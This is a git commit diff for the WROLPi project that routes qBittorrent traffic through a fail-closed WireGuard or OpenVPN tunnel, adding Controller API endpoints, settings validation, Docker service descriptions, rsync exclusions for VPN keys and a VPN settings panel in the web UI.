Torrents over a fail-closed VPN (#1026)

Torrents reach the Internet only through a fail-closed VPN (WireGuard or
OpenVPN, any provider), so peers never see a WROLPi's own address.

- A network namespace (Pi/Debian) or the vpn container (Docker) with an
  nftables kill switch; NAT-PMP or fixed port forwarding.
- qBittorrent inside it, sandboxed; torrents kept in config/torrents/.
- Torrent download form, Torrents page, Share as torrent, nav warning, and
  VPN settings in both Controller UIs.
- Help docs: Torrents, and The VPN for Torrents.

QA'd on a Raspberry Pi with a real provider over WireGuard and OpenVPN.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
lrnselfreliance 2026-11-28 14:25:24 -07:00 • committed by Roland
parent 633b125dc6
commit 2c3300b8b0
No known key found for this signature in database
GPG key ID: 1BA620CE6C9A4680
80 changed files with 7516 additions and 45 deletions

View file

@ -570,3 +570,66 @@ class OnboardingCommitResponse(BaseModel):
default=None,
description="Populated when needs_force='shadowed'.",
)
# ============================================================================
# VPN
# ============================================================================
class VpnStatusResponse(BaseModel):
"""The tunnel which torrents use."""
enabled: bool = Field(description="Whether the VPN is turned on in controller.yaml")
state: Optional[str] = Field(
default=None,
description="stopped, disabled, wrol_mode, waiting, connecting, connected, or error. Torrents can only reach the "
"Internet while connected.")
kind: Optional[str] = Field(default=None, description="wireguard or openvpn")
interface: Optional[str] = Field(default=None, description="The tunnel's network interface")
addresses: list[str] = Field(default_factory=list, description="The tunnel's addresses")
dns: list[str] = Field(default_factory=list, description="The VPN's DNS servers")
public_ip: Optional[str] = Field(default=None, description="The address peers see")
port_forwarding: str = Field(description="none, fixed, or natpmp")
forwarded_port: Optional[int] = Field(default=None, description="The port peers can connect to")
warnings: list[str] = Field(default_factory=list, description="Problems which do not stop the tunnel")
error: Optional[str] = Field(default=None, description="Why the tunnel is not up")
updated_at: Optional[float] = Field(default=None, description="When the tunnel last reported (Unix time)")
class VpnSettingsResponse(BaseModel):
"""The VPN settings and a summary of the uploaded config."""
enabled: bool = Field(description="Whether the VPN is turned on")
kind: Optional[str] = Field(default=None, description="wireguard or openvpn; None when no config is uploaded")
servers: list[str] = Field(default_factory=list, description="The VPN servers named by the config")
needs_auth: bool = Field(description="Whether the OpenVPN config needs a username and password")
has_auth: bool = Field(description="Whether an OpenVPN username and password are saved")
port_forwarding: str = Field(description="none, fixed, or natpmp")
forwarded_port: Optional[int] = Field(default=None, description="The port the provider forwards (fixed)")
public_ip_url: Optional[str] = Field(default=None, description="Fetched through the tunnel to show its address")
natpmp_gateway: Optional[str] = Field(
default=None, description="Where NAT-PMP asks for a port; None: the VPN's gateway or first DNS server")
class VpnSettingsRequest(BaseModel):
"""Change VPN settings; omitted fields are unchanged."""
enabled: Optional[bool] = Field(default=None, description="Turn the VPN on or off")
port_forwarding: Optional[str] = Field(default=None, description="none, fixed, or natpmp")
forwarded_port: Optional[int] = Field(default=None, description="The port the provider forwards (fixed)")
public_ip_url: Optional[str] = Field(default=None, description="Empty to stop checking the public address")
natpmp_gateway: Optional[str] = Field(default=None, description="An IPv4 address; empty for the default")
class VpnConfigUploadRequest(BaseModel):
"""A VPN config file's name and contents."""
filename: str = Field(description="Ends in .conf (WireGuard) or .ovpn (OpenVPN)")
content: str = Field(description="The file's contents")
class VpnAuthRequest(BaseModel):
"""The login an OpenVPN config asks for (auth-user-pass)."""
username: str = Field(description="VPN username")
password: str = Field(description="VPN password")

63
controller/api/vpn.py Normal file
View file

@ -0,0 +1,63 @@
"""
VPN API endpoints for WROLPi Controller. Torrents only reach the Internet through this VPN.
"""
import asyncio
from fastapi import APIRouter, HTTPException
from controller.api.schemas import (
VpnAuthRequest,
VpnConfigUploadRequest,
VpnSettingsRequest,
VpnSettingsResponse,
VpnStatusResponse,
)
from controller.lib import vpn
from controller.vpn.tunnel import VPNConfigError
router = APIRouter(tags=["vpn"])
async def _call(func, *args, **kwargs):
"""Run a settings change off the event loop (saving looks up the VPN servers), as a 400 when it is refused."""
try:
return await asyncio.to_thread(func, *args, **kwargs)
except VPNConfigError as e:
raise HTTPException(status_code=400, detail=str(e))
except RuntimeError as e:
# e.g. the primary drive is not mounted, so controller.yaml cannot be saved.
raise HTTPException(status_code=409, detail=str(e))
@router.get("/api/vpn/status", response_model=VpnStatusResponse)
async def vpn_status() -> VpnStatusResponse:
"""Whether torrents can reach the Internet, and the address peers see."""
return VpnStatusResponse(**vpn.get_vpn_status())
@router.get("/api/vpn/settings", response_model=VpnSettingsResponse)
async def vpn_settings() -> VpnSettingsResponse:
return VpnSettingsResponse(**vpn.get_vpn_settings_response())
@router.post("/api/vpn/settings", response_model=VpnSettingsResponse)
async def update_vpn_settings(request: VpnSettingsRequest) -> VpnSettingsResponse:
return VpnSettingsResponse(**await _call(vpn.update_vpn_settings, **request.model_dump()))
@router.post("/api/vpn/config", response_model=VpnSettingsResponse)
async def upload_vpn_config(request: VpnConfigUploadRequest) -> VpnSettingsResponse:
"""Store a WireGuard .conf or OpenVPN .ovpn, replacing the previous config."""
return VpnSettingsResponse(**await _call(vpn.save_vpn_config, request.filename, request.content))
@router.delete("/api/vpn/config", response_model=VpnSettingsResponse)
async def delete_vpn_config() -> VpnSettingsResponse:
"""Forget the VPN config and login, and turn the VPN off."""
return VpnSettingsResponse(**await _call(vpn.delete_vpn_config))
@router.post("/api/vpn/auth", response_model=VpnSettingsResponse)
async def save_vpn_auth(request: VpnAuthRequest) -> VpnSettingsResponse:
return VpnSettingsResponse(**await _call(vpn.save_openvpn_auth, request.username, request.password))

View file

@ -77,6 +77,13 @@ def _isolate_hotspot_boot_marker(tmp_path_factory, monkeypatch):
monkeypatch.setattr(admin, "HOTSPOT_BOOT_MARKER", marker)
@pytest.fixture(autouse=True)
def _isolate_vpn_run_dir(tmp_path_factory, monkeypatch):
"""Tests never read or write the real VPN status or server addresses in /run."""
import controller.vpn.tunnel as tunnel
monkeypatch.setattr(tunnel, "RUN_DIR", tmp_path_factory.mktemp("wrolpi-vpn"))
@pytest.fixture(autouse=True)
def _patch_status_worker():
"""Replace the real status worker with a no-op for every test.
@ -87,6 +94,18 @@ def _patch_status_worker():
yield
async def _noop_rsync_daemon_loop():
await asyncio.Event().wait()
@pytest.fixture(autouse=True)
def _patch_rsync_daemon_loop():
"""A Docker-mode app must not manage the real rsync helper container of whatever Docker runs these tests: a
branch whose rsyncd.conf differs would replace a developer's container, while other tests list containers."""
with mock.patch("controller.main.rsync_daemon_loop", _noop_rsync_daemon_loop):
yield
@pytest.fixture
def test_directory() -> Generator[Path, None, None]:
"""Create a temporary directory for testing."""

View file

@ -5,6 +5,8 @@ Controller starts with these defaults and loads overrides from
/media/wrolpi/config/controller.yaml after the drive is mounted.
"""
from controller.vpn.tunnel import VPN_DEFAULTS
DEFAULT_CONFIG = {
"port": 80,
"media_directory": "/media/wrolpi",
@ -89,6 +91,22 @@ DEFAULT_CONFIG = {
"use_https": False,
"description": "Map tiles for ATAK and iTAK",
},
{
"name": "wrolpi-vpn",
"systemd_name": "wrolpi-vpn",
"port": None,
"viewable": False,
"use_https": False,
"description": "VPN for torrents (fail-closed network namespace)",
},
{
"name": "wrolpi-torrent",
"systemd_name": "wrolpi-torrent",
"port": 8091,
"viewable": True,
"use_https": True,
"description": "Torrents (qBittorrent, inside the VPN)",
},
{
"name": "wrolpi-rsyncd",
"systemd_name": "wrolpi-rsyncd",
@ -147,6 +165,9 @@ DEFAULT_CONFIG = {
"on_startup": True,
},
# Torrents reach the Internet only through this VPN; see controller/vpn/tunnel.py.
"vpn": dict(VPN_DEFAULTS),
"throttle": {
"default_governor": "ondemand",
},

View file

@ -32,6 +32,54 @@ NON_VIEWABLE_CONTAINERS = {"redis", "memcached", "samba", "rsyncd", "tiles"}
# Containers that should use HTTPS
HTTPS_CONTAINERS = {"web"}
# What each docker-compose service is, for the Services list (systemd services have theirs in defaults.py).
# `via_web`: the container publishes no port of its own; the web container (Caddy) serves it over HTTPS on this
# container port (plain HTTP if `use_https` is False), so its View link uses the host port Docker publishes for that
# port of the web container.
DOCKER_SERVICES = {
"api": {"description": "Python API (Sanic)"},
"app": {"description": "React frontend", "via_web": 443},
"archive": {"description": "Archiving (SingleFile and Readability)", "viewable": False},
"controller": {"description": "Controller API (FastAPI)"},
"help": {"description": "Help documentation", "via_web": 8086},
"rsyncd": {"description": "Library for secondary WROLPis (rsync)"},
"samba": {"description": "Samba file sharing"},
# Tiles for ATAK and iTAK, which ask for them; no page to view.
"tiles": {"description": "Map tiles for ATAK and iTAK", "via_web": 8088, "use_https": False, "viewable": False},
"vpn": {"description": "VPN and torrents (qBittorrent WebUI)", "via_web": 8091},
"web": {"description": "HTTPS proxy (Caddy) for the app, maps, Zims, help and torrents", "via_web": 443},
"zim": {"description": "Kiwix/Zim server", "via_web": 8085},
}
WEB_SERVICE = "web"
def _host_port(container, container_port: int = None):
"""The host port Docker publishes for `container_port` of `container` (any published port, if None)."""
if container is None:
return None
ports = container.attrs.get("NetworkSettings", {}).get("Ports", {}) or {}
for port, host_bindings in ports.items():
if host_bindings and (container_port is None or port == f"{container_port}/tcp"):
return int(host_bindings[0].get("HostPort", 0))
return None
def _describe(name: str, container, web_container) -> dict:
"""A container's description, the port its View link uses, and how."""
service = DOCKER_SERVICES.get(name, {})
if "via_web" in service:
port = _host_port(web_container, service["via_web"])
use_https = service.get("use_https", True)
else:
port = _host_port(container)
use_https = name.endswith("_https") or name in HTTPS_CONTAINERS
return {
"description": service.get("description", ""),
"port": port,
"viewable": service.get("viewable", name not in NON_VIEWABLE_CONTAINERS),
"use_https": use_https,
}
def can_manage_containers() -> bool:
"""Check if we can manage Docker containers."""
@ -91,23 +139,20 @@ def get_container_status(name: str) -> dict:
else:
status = docker_status
# Get port info from container
ports = container.attrs.get("NetworkSettings", {}).get("Ports", {})
port = None
for container_port, host_bindings in ports.items():
if host_bindings:
port = int(host_bindings[0].get("HostPort", 0))
break
web_container = container
if name != WEB_SERVICE and "via_web" in DOCKER_SERVICES.get(name, {}):
try:
web_container = client.containers.get(_get_container_name(WEB_SERVICE))
except NotFound:
web_container = None
return {
"name": name,
"container_name": container_name,
"status": status,
"docker_status": docker_status,
"port": port,
"available": True,
"viewable": name not in NON_VIEWABLE_CONTAINERS,
"use_https": name.endswith("_https") or name in HTTPS_CONTAINERS,
**_describe(name, container, web_container),
}
except NotFound:
return {
@ -138,6 +183,7 @@ def get_all_containers_status() -> list[dict]:
client = _get_client()
containers = client.containers.list(all=True)
web_container = next((c for c in containers if c.name == _get_container_name(WEB_SERVICE)), None)
results = []
for container in containers:
if container.name.startswith(CONTAINER_PREFIX):
@ -148,22 +194,12 @@ def get_all_containers_status() -> list[dict]:
else:
service_name = container.name
# Get port info from container
ports = container.attrs.get("NetworkSettings", {}).get("Ports", {})
port = None
for container_port, host_bindings in ports.items():
if host_bindings:
port = int(host_bindings[0].get("HostPort", 0))
break
results.append({
"name": service_name,
"container_name": container.name,
"status": "running" if container.status == "running" else "stopped",
"docker_status": container.status,
"port": port,
"viewable": service_name not in NON_VIEWABLE_CONTAINERS,
"use_https": service_name.endswith("_https") or service_name in HTTPS_CONTAINERS,
**_describe(service_name, container, web_container),
})
return results

View file

@ -83,7 +83,9 @@ LOCAL_PATHS = (
# This machine's settings and state.
"/config/wrolpi.yaml", "/config/sync.yaml", "/config/controller.yaml", "/config/fstab.yaml",
"/config/.fstab-migrated", "/config/smb.conf", f"/{STATE_FILE}", "/config/.wrol_mode", "/config/ssl",
"/config/cookies.txt", "/config/cookies.txt.enc", "/config/backup",
"/config/cookies.txt", "/config/cookies.txt.enc", "/config/backup", "/config/vpn",
# This machine's torrents.
"/config/torrents",
# The database arrives as a snapshot, in its own step.
"/config/wrolpi.db", "/config/wrolpi.db-wal", "/config/wrolpi.db-shm", "/config/wrolpi.db.lock",
f"/{SYNC_DIRECTORY}",
@ -94,7 +96,7 @@ LOCAL_PATHS = (
# path is never deleted, so a secondary kept the write-ahead log of a map search database whose database the
# primary had replaced, and SQLite would apply that log to the new database. (rsync keeps its own partial
# directory itself.)
UNFINISHED_PATTERNS = (".partial", "*.part", "*.aria2", "*.ytdl", "*.db-wal", "*.db-shm")
UNFINISHED_PATTERNS = (".partial", "*.part", "*.aria2", "*.ytdl", "*.!qB", "*.db-wal", "*.db-shm")
class SyncError(Exception):

252
controller/lib/vpn.py Normal file
View file

@ -0,0 +1,252 @@
"""
VPN settings and status for the Controller.
The tunnel itself (controller/vpn/tunnel.py) runs in the `wrolpi-vpn` service (Raspberry Pi / Debian) or the `vpn`
container (Docker); it follows the `vpn` section of controller.yaml on its own. The Controller saves the settings and
the user's VPN config, resolves the config's server names (the tunnel's kill switch blocks DNS until the tunnel is
up), and reports the status the tunnel writes.
"""
import asyncio
import json
import logging
import os
import socket
import time
from pathlib import Path
from controller.lib.config import get_config_value, get_media_directory, save_config, update_config
from controller.vpn import tunnel
logger = logging.getLogger(__name__)
# Relative to the config directory.
WIREGUARD_CONFIG = 'vpn/wireguard.conf'
OPENVPN_CONFIG = 'vpn/openvpn.ovpn'
OPENVPN_AUTH = 'vpn/openvpn-auth.txt'
CONFIG_FILES = {'wireguard': WIREGUARD_CONFIG, 'openvpn': OPENVPN_CONFIG}
MAX_CONFIG_BYTES = 256 * 1024
# The tunnel writes its status every 15 seconds; older than this, it is not running.
STALE_STATUS_SECONDS = 60
# Provider host names rarely move; look them up again this often in case they do.
ENDPOINTS_MAX_AGE = 6 * 60 * 60
ENDPOINTS_LOOP_SECONDS = 60
def get_run_dir() -> Path:
return tunnel.RUN_DIR
def get_config_directory() -> Path:
return get_media_directory() / 'config'
def get_vpn_settings() -> dict:
return {**tunnel.VPN_DEFAULTS, **(get_config_value('vpn') or {})}
def _write_private(path: Path, text: str):
path.parent.mkdir(mode=0o700, parents=True, exist_ok=True)
tmp = path.with_name(f'.{path.name}.tmp')
tunnel.write_private(tmp, text)
os.replace(tmp, path)
def read_vpn_config() -> tuple[str, str] | None:
"""(kind, text) of the uploaded VPN config, or None."""
config_file = get_vpn_settings().get('config_file')
if not config_file:
return None
try:
text = (get_config_directory() / config_file).read_text()
except FileNotFoundError:
return None
return tunnel.config_kind(config_file), text
def _save_settings(**values):
for key, value in values.items():
update_config(f'vpn.{key}', value)
save_config()
def save_vpn_config(filename: str, content: str) -> dict:
"""Validate and store an uploaded WireGuard or OpenVPN config, replacing any previous one."""
if len(content.encode()) > MAX_CONFIG_BYTES:
raise tunnel.VPNConfigError('That file is too large to be a VPN config')
kind = tunnel.config_kind(filename)
tunnel.remotes_of(kind, content) # Raises when the config cannot be used.
config_directory = get_config_directory()
_write_private(config_directory / CONFIG_FILES[kind], content)
for other_kind, other in CONFIG_FILES.items():
if other_kind != kind:
(config_directory / other).unlink(missing_ok=True)
_save_settings(config_file=CONFIG_FILES[kind])
resolve_endpoints_safely()
return get_vpn_settings_response()
def save_openvpn_auth(username: str, password: str) -> dict:
if not username or not password:
raise tunnel.VPNConfigError('Enter the VPN username and password')
if any(c in s for s in (username, password) for c in '\r\n'):
raise tunnel.VPNConfigError('The VPN username and password cannot contain line breaks')
_write_private(get_config_directory() / OPENVPN_AUTH, f'{username}\n{password}\n')
_save_settings(auth_file=OPENVPN_AUTH)
return get_vpn_settings_response()
def update_vpn_settings(enabled: bool = None, port_forwarding: str = None, forwarded_port: int = None,
public_ip_url: str = None, natpmp_gateway: str = None) -> dict:
settings = get_vpn_settings()
values = {}
if port_forwarding is not None:
if port_forwarding not in tunnel.PORT_FORWARDING_MODES:
raise tunnel.VPNConfigError(f'Port forwarding must be one of {", ".join(tunnel.PORT_FORWARDING_MODES)}')
values['port_forwarding'] = port_forwarding
if forwarded_port is not None:
if not 1 <= forwarded_port <= 65535:
raise tunnel.VPNConfigError('The forwarded port must be between 1 and 65535')
values['forwarded_port'] = forwarded_port
if (values.get('port_forwarding', settings['port_forwarding']) == 'fixed'
and not values.get('forwarded_port', settings['forwarded_port'])):
raise tunnel.VPNConfigError('Enter the port your VPN provider forwards to you')
if natpmp_gateway is not None:
if natpmp_gateway and not (tunnel.is_ip(natpmp_gateway) and tunnel.ip_version(natpmp_gateway) == 4):
raise tunnel.VPNConfigError('The port forwarding gateway must be an IPv4 address')
values['natpmp_gateway'] = natpmp_gateway or None
if public_ip_url is not None:
if public_ip_url:
tunnel.check_public_ip_url(public_ip_url)
values['public_ip_url'] = public_ip_url or None
if enabled is not None:
if enabled:
loaded = read_vpn_config()
if not loaded:
raise tunnel.VPNConfigError('Upload a VPN config before turning the VPN on')
kind, text = loaded
if (kind == 'openvpn' and tunnel.parse_openvpn(text).wants_auth
and not (get_config_directory() / OPENVPN_AUTH).is_file()):
raise tunnel.VPNConfigError('This OpenVPN config needs a username and password')
values['enabled'] = enabled
_save_settings(**values)
resolve_endpoints_safely()
return get_vpn_settings_response()
def delete_vpn_config() -> dict:
"""Forget the VPN config and login, and turn the VPN off."""
config_directory = get_config_directory()
for path in (*CONFIG_FILES.values(), OPENVPN_AUTH):
(config_directory / path).unlink(missing_ok=True)
_save_settings(enabled=False, config_file=None, auth_file=None)
(get_run_dir() / tunnel.ENDPOINTS_FILE).unlink(missing_ok=True)
return get_vpn_settings_response()
def get_vpn_settings_response() -> dict:
settings = get_vpn_settings()
loaded = read_vpn_config()
kind, remotes, wants_auth = None, [], False
if loaded:
kind, text = loaded
try:
remotes = [r.host for r in tunnel.remotes_of(kind, text)]
wants_auth = kind == 'openvpn' and tunnel.parse_openvpn(text).wants_auth
except tunnel.VPNConfigError:
pass
return {
'enabled': bool(settings['enabled']),
'kind': kind,
'servers': list(dict.fromkeys(remotes)),
'needs_auth': wants_auth,
'has_auth': (get_config_directory() / OPENVPN_AUTH).is_file(),
'port_forwarding': settings['port_forwarding'],
'forwarded_port': settings['forwarded_port'],
'public_ip_url': settings['public_ip_url'],
'natpmp_gateway': settings['natpmp_gateway'],
}
def resolve_endpoints() -> dict[str, list[str]]:
"""Look up the config's server names for the tunnel, which cannot use DNS until it is up."""
run_dir = get_run_dir()
loaded = read_vpn_config()
if not loaded:
(run_dir / tunnel.ENDPOINTS_FILE).unlink(missing_ok=True)
return {}
kind, text = loaded
names = dict.fromkeys(r.host for r in tunnel.remotes_of(kind, text) if not tunnel.is_ip(r.host))
hosts = {}
for name in names:
try:
hosts[name] = tunnel.resolve_host(name)
except socket.gaierror as e:
logger.warning('Could not look up the VPN server %s: %s', name, e)
tunnel.write_json(run_dir / tunnel.ENDPOINTS_FILE,
{'config_sha256': tunnel.config_sha256(text), 'hosts': hosts, 'resolved_at': time.time()})
return hosts
def resolve_endpoints_safely():
try:
resolve_endpoints()
except (OSError, tunnel.VPNConfigError) as e:
logger.warning('Could not look up the VPN servers: %s', e)
def endpoints_need_resolving() -> bool:
if not get_vpn_settings()['enabled']:
return False
loaded = read_vpn_config()
if not loaded:
return False
_, text = loaded
try:
data = json.loads((get_run_dir() / tunnel.ENDPOINTS_FILE).read_text())
except (FileNotFoundError, json.JSONDecodeError):
return True
names = {r.host for r in tunnel.remotes_of(*loaded) if not tunnel.is_ip(r.host)}
return (data.get('config_sha256') != tunnel.config_sha256(text)
or not names.issubset(data.get('hosts') or {})
or time.time() - data.get('resolved_at', 0) > ENDPOINTS_MAX_AGE)
async def vpn_endpoints_loop():
"""Keep the tunnel's server addresses current, e.g. when the Internet was down at boot."""
while True:
try:
if await asyncio.to_thread(endpoints_need_resolving):
await asyncio.to_thread(resolve_endpoints)
except asyncio.CancelledError:
raise
except Exception as e:
logger.warning('Could not look up the VPN servers: %s', e)
await asyncio.sleep(ENDPOINTS_LOOP_SECONDS)
def get_vpn_status() -> dict:
settings = get_vpn_settings()
try:
status = json.loads((get_run_dir() / tunnel.STATUS_FILE).read_text())
except (FileNotFoundError, json.JSONDecodeError):
status = {}
if not status or time.time() - status.get('updated_at', 0) > STALE_STATUS_SECONDS:
# The tunnel is not running; its kill switch (if it ever ran) still blocks torrents.
status = {'state': 'stopped'}
return {
'enabled': bool(settings['enabled']),
'state': status.get('state'),
'kind': status.get('kind'),
'interface': status.get('interface'),
'addresses': status.get('addresses') or [],
'dns': status.get('dns') or [],
'public_ip': status.get('public_ip'),
'port_forwarding': settings['port_forwarding'],
'forwarded_port': status.get('forwarded_port'),
'warnings': status.get('warnings') or [],
'error': status.get('error'),
'updated_at': status.get('updated_at'),
}

View file

@ -34,6 +34,7 @@ from controller.api.scripts import router as scripts_router
from controller.api.services import router as services_router
from controller.api.status import router as status_router
from controller.api.sync import router as sync_router
from controller.api.vpn import router as vpn_router
from controller.lib.config import (
get_ca_certificate_path,
get_config_value,
@ -61,6 +62,7 @@ from controller.lib.status import (
from controller.lib.status_worker import status_worker_loop
from controller.lib.sync import sync_schedule_loop
from controller.lib.systemd import get_all_services_status
from controller.lib.vpn import vpn_endpoints_loop
# Templates directory
TEMPLATES_DIR = Path(__file__).parent / "templates"
@ -138,6 +140,9 @@ async def lifespan(app: FastAPI):
from controller.lib.admin import start_hotspot_on_boot
app.state.hotspot_on_boot_task = asyncio.create_task(asyncio.to_thread(start_hotspot_on_boot))
# The VPN's kill switch blocks DNS until the tunnel is up, so the Controller looks up the VPN's servers.
app.state.vpn_endpoints_task = asyncio.create_task(vpn_endpoints_loop())
# Initialize cached status
app.state.cached_status = {}
@ -153,7 +158,7 @@ async def lifespan(app: FastAPI):
await status_task
except asyncio.CancelledError:
pass
for name in ("rsync_daemon_task", "sync_schedule_task"):
for name in ("rsync_daemon_task", "sync_schedule_task", "vpn_endpoints_task"):
if task := getattr(app.state, name, None):
task.cancel()
@ -184,6 +189,7 @@ app.include_router(scripts_router)
app.include_router(services_router)
app.include_router(status_router)
app.include_router(sync_router)
app.include_router(vpn_router)
def get_host(request: Request) -> str:

View file

@ -16,7 +16,7 @@ log file = /dev/stderr
# the files left out below through a link to them from elsewhere in the library. (A link that is itself part of
# the path a client asks for is still followed: the files below are left out by where they are, nothing more.)
refuse options = copy-links copy-unsafe-links copy-dirlinks
# Never served: this machine's TLS keys and cookies, and the database in use (a copy of a database that is
# Never served: this machine's TLS keys, VPN keys and login, and cookies, and the database in use (a copy of a database that is
# being written can be torn; a secondary copies the snapshot under config/.sync instead), and a snapshot that
# is still being written.
exclude = /config/ssl/ /config/cookies.txt /config/cookies.txt.enc /config/wrolpi.db /config/wrolpi.db-wal /config/wrolpi.db-shm /config/wrolpi.db.lock .wrolpi.db.backup /lost+found/
exclude = /config/ssl/ /config/vpn/ /config/cookies.txt /config/cookies.txt.enc /config/wrolpi.db /config/wrolpi.db-wal /config/wrolpi.db-shm /config/wrolpi.db.lock .wrolpi.db.backup /lost+found/

View file

@ -236,6 +236,11 @@
margin-top: 0.25rem;
}
.service-description {
font-size: 0.8rem;
color: #888;
}
/* Tables */
table {
width: 100%;
@ -1069,11 +1074,60 @@
</div>
</section>
<section id="vpn">
<h2>VPN</h2>
<p style="color: #aaa; font-size: 0.9rem;">
Torrents only use this VPN, so peers never see this WROLPi's own address. When the VPN is down, torrents
stop; they never fall back to this WROLPi's own Internet connection.
</p>
<p id="vpn-status">Loading...</p>
<p id="vpn-error" style="color: #f0ad4e;" hidden></p>
<p id="vpn-settings-error" style="color: #d9534f;" hidden></p>
<p id="vpn-config-summary" style="color: #aaa;"></p>
<div class="action-buttons" style="margin-bottom: 1rem;">
<input type="file" id="vpn-config-file" accept=".conf,.ovpn" hidden onchange="uploadVpnConfig(this)">
<button id="vpn-upload-btn" class="btn btn-primary" disabled
onclick="document.getElementById('vpn-config-file').click()">Upload VPN Config</button>
<button id="vpn-remove-btn" class="btn btn-danger" onclick="removeVpnConfig()" style="display: none;">Remove</button>
<button id="vpn-toggle-btn" class="btn" onclick="toggleVpn()" disabled>Turn VPN On</button>
</div>
<details id="vpn-login" style="margin-bottom: 1rem; display: none;">
<summary style="cursor: pointer;">OpenVPN Login</summary>
<div class="modal-form" style="max-width: 24rem; margin-top: 0.5rem;">
<label>Username
<input type="text" id="vpn-username" autocomplete="off">
</label>
<label>Password
<input type="password" id="vpn-password" autocomplete="off" style="width: 100%; padding: 0.5rem; margin-bottom: 1rem; background: #1a1a2e; border: 1px solid #333; border-radius: 4px; color: #fff; font-size: 1rem;">
</label>
<button class="btn btn-primary" onclick="saveVpnLogin()">Save Login</button>
</div>
</details>
<details style="margin-bottom: 1rem;">
<summary style="cursor: pointer;">Port Forwarding</summary>
<div class="modal-form" style="max-width: 24rem; margin-top: 0.5rem;">
<label>Mode
<select id="vpn-port-forwarding" disabled onchange="showVpnPort()" style="width: 100%; padding: 0.5rem; margin-bottom: 1rem; background: #1a1a2e; border: 1px solid #333; border-radius: 4px; color: #fff; font-size: 1rem;">
<option value="none">None (download only; seed to peers who accept connections)</option>
<option value="fixed">A port my VPN provider forwards to me</option>
<option value="natpmp">Ask the VPN for a port (NAT-PMP, e.g. Proton P2P servers)</option>
</select>
</label>
<label id="vpn-port-label" style="display: none;">Forwarded port
<input type="text" id="vpn-forwarded-port" inputmode="numeric">
</label>
<!-- Disabled until the saved settings load; the select's first option would overwrite them. -->
<button id="vpn-save-btn" class="btn btn-primary" disabled onclick="saveVpnSettings()">Save</button>
</div>
</details>
</section>
{% macro service_row(service, docker_mode, host) %}
<tr>
<td>
{{ service.name }}
{% if service.port %}<span class="sub">:{{ service.port }}</span>{% endif %}
{% if service.description %}<div class="service-description">{{ service.description }}</div>{% endif %}
</td>
<td class="status-{{ service.status }}">{{ service.status }}</td>
<td>
@ -2965,6 +3019,7 @@
<td>
${service.name}
${service.port ? `<span class="sub">:${service.port}</span>` : ''}
${service.description ? `<div class="service-description">${service.description}</div>` : ''}
</td>
<td class="status-${service.status}">${service.status}</td>
<td>`;
@ -3068,6 +3123,128 @@
}
}
// --- VPN (controller/lib/vpn.py). Torrents reach the Internet only through it. ---
const vpnStateLabels = {
connected: 'Connected', connecting: 'Connecting', waiting: 'Waiting', disabled: 'Off', wrol_mode: 'Off (WROL Mode)',
stopped: 'Not running', error: 'Error',
};
const vpnKindLabels = {wireguard: 'WireGuard', openvpn: 'OpenVPN'};
let vpnSettings = null;
// `hidden` loses to this page's display rules (e.g. .btn), so toggle display itself.
function setShown(id, shown) {
document.getElementById(id).style.display = shown ? '' : 'none';
}
function showVpnPort() {
setShown('vpn-port-label', document.getElementById('vpn-port-forwarding').value === 'fixed');
}
function applyVpnSettings(settings) {
vpnSettings = settings;
document.getElementById('vpn-config-summary').textContent = settings.kind
? `Config: ${vpnKindLabels[settings.kind]} to ${settings.servers.join(', ')}`
: 'Upload the WireGuard (.conf) or OpenVPN (.ovpn) file from your VPN provider.';
document.getElementById('vpn-upload-btn').textContent = settings.kind ? 'Replace VPN Config' : 'Upload VPN Config';
setShown('vpn-remove-btn', !!settings.kind);
const toggle = document.getElementById('vpn-toggle-btn');
toggle.disabled = !settings.kind;
toggle.textContent = settings.enabled ? 'Turn VPN Off' : 'Turn VPN On';
toggle.className = settings.enabled ? 'btn btn-danger' : 'btn btn-primary';
setShown('vpn-login', settings.needs_auth);
document.getElementById('vpn-login').querySelector('summary').textContent = settings.has_auth ? 'OpenVPN Login (saved)' : 'OpenVPN Login';
document.getElementById('vpn-port-forwarding').value = settings.port_forwarding || 'none';
for (const id of ['vpn-port-forwarding', 'vpn-save-btn', 'vpn-upload-btn']) {
document.getElementById(id).disabled = false;
}
document.getElementById('vpn-settings-error').hidden = true;
document.getElementById('vpn-forwarded-port').value = settings.forwarded_port || '';
showVpnPort();
}
async function loadVpnStatus() {
try {
const status = await apiCall('api/vpn/status');
let text = `Status: ${vpnStateLabels[status.state] || status.state}`;
if (status.public_ip) text += ` · Peers see ${status.public_ip}`;
if (status.forwarded_port) text += ` · Port ${status.forwarded_port}`;
document.getElementById('vpn-status').textContent = text;
const problems = [status.error, ...(status.warnings || [])].filter(Boolean);
const error = document.getElementById('vpn-error');
error.textContent = problems.join(' · ');
error.hidden = !problems.length;
} catch (e) {
console.error('Failed to load VPN status', e);
}
}
async function loadVpn() {
try {
applyVpnSettings(await apiCall('api/vpn/settings'));
} catch (e) {
console.error('Failed to load VPN settings', e);
if (!vpnSettings) {
const error = document.getElementById('vpn-settings-error');
error.textContent = `Could not load the VPN settings: ${e.message}`;
error.hidden = false;
}
}
await loadVpnStatus();
}
async function vpnAction(url, method, body) {
try {
applyVpnSettings(await apiCall(url, method, body));
await loadVpnStatus();
return true;
} catch (e) {
alert(`VPN: ${e.message}`);
return false;
}
}
async function uploadVpnConfig(input) {
const file = input.files && input.files[0];
input.value = '';
if (!file || !vpnSettings) return;
if (vpnSettings.kind && !confirm(`Replace the VPN config with ${file.name}? The current key is deleted and the tunnel uses this file.`)) return;
await vpnAction('api/vpn/config', 'POST', {filename: file.name, content: await file.text()});
}
async function removeVpnConfig() {
if (!confirm('Remove the VPN config and login, and turn the VPN off? Torrents will stop until a new config is uploaded.')) return;
await vpnAction('api/vpn/config', 'DELETE');
}
async function toggleVpn() {
if (!vpnSettings) return;
const enabled = !vpnSettings.enabled;
if (!enabled && !confirm('Turn the VPN off? Torrents stop until it is turned back on.')) return;
await vpnAction('api/vpn/settings', 'POST', {enabled});
}
async function saveVpnLogin() {
const username = document.getElementById('vpn-username');
const password = document.getElementById('vpn-password');
if (await vpnAction('api/vpn/auth', 'POST', {username: username.value, password: password.value})) {
username.value = '';
password.value = '';
}
}
async function saveVpnSettings() {
// Never save the select's placeholder over settings which have not loaded.
if (!vpnSettings) return;
const mode = document.getElementById('vpn-port-forwarding').value;
const port = parseInt(document.getElementById('vpn-forwarded-port').value, 10);
if (await vpnAction('api/vpn/settings', 'POST', {
port_forwarding: mode,
forwarded_port: mode === 'fixed' && port ? port : null,
})) {
alert('VPN settings saved.');
}
}
function startPeriodicUpdates() {
// Update every 10 seconds
const updateInterval = 10000;
@ -3075,6 +3252,7 @@
